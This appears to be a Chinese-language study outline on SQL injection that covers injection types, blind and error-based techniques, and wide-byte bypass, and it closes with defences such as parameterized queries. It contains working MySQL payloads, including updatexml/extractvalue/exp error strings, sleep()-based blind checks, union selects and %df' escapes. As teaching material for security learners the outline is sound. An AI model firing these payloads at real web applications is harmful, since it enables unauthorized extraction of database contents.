1. 产生条件
- 有参数传递
- 参数值代入数据可查询并且执行
2. 测试流程
2.1. 注入点探测
- 自动方式
- 手动方式
2.2. 信息获取
- 环境信息
- 数据库信息
2.3. 获取权限
- 数字型 user_id=$id
- 字符型 user_id= ‘$id’
- 搜索型 text LIKE '%{$_GET['search']}%'"
报错注入
- 常用报错函数updatexml()、extractvalue()、floor()、
- 基于函数报错的信息获取(select/insert/update/delete)
后台没有屏蔽报错信息,在前端限制
insert/update注入
- 类型分类一
-
- 基于布尔的盲注
-
不返回数据库数据,仅返回TRUE和FALSE。
-
-
-
- 基于时间的盲注
-
-
利用sleep()或benchmark()等函数让mysql执行时间变长。
// if(length(database()>1,sleep(5),1))
-
-
-
- 基于报错注入
- 多单引号
- 基于报错注入
-
-
ID=1’
-
-
-
-
- extractvalue()
-
-
-
- 对XML文档进行查询的函数
- 语法:extractvalue(目标xml文档,xml路径)
- 示例
concat()拼接:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
error:~security
-
-
-
-
- floor()
- updatexml()
-
-
-
- updatexml()函数与extractvalue()类似,是更新xml文档的函数。
- 语法updatexml(目标xml文档,xml路径,更新的内容)
- 样例
正常
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
报错
select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))
error:~security
-
-
-
-
- geometrycollection()
- multipoint()
- polygon()
- multipolygon()
- linestring()
- multilinestring()
- exp()
-
-
-
原理当传递一个大于709的值时,函数exp()就会引起一个溢出错误
样例
报错
select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
0按位取反就会返回“18446744073709551615”
~(select version())
18446744073709551610
报错
select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
-
-
-
- 堆查询注入
-
-
- 分号隔开
引号闭合
- %23----#
-
-
-
- 联合查询注入
-
-
- union注入
id=-1 union select 1,2,3
-
-
-
- 其它
-
-
- 宽字节注入
- 数据库编码为GBK,绕过单引号被转义
- 实现
id=1%df'
id=1%df%5c
繁体“運”
/----%5c
- 二次注入
- 向数据库插入查询语句,不被执行
- 数据库调用,报错,返回错误信息
- cookie注入
- base64注入
-
-
- 类型分类二
-
数字型一般不需要单引号闭合,而字符串一般需要通过单引号来闭合
数字型
输入的参数为整形
字符型
输入的参数为字符串
-
-
- 防御
-
- 使用预编译语句
构造的sql语句时使用参数化形式
参数化处理sql 是将参数进行了字符串化处理,把参数中的单引号,井号#,等都做了转义处理,进而在执行sql语句时不会被当做sql中的定界符和指定符来执行。
不使用拼接方式
2、过滤危险字符
关键字
不正常的符号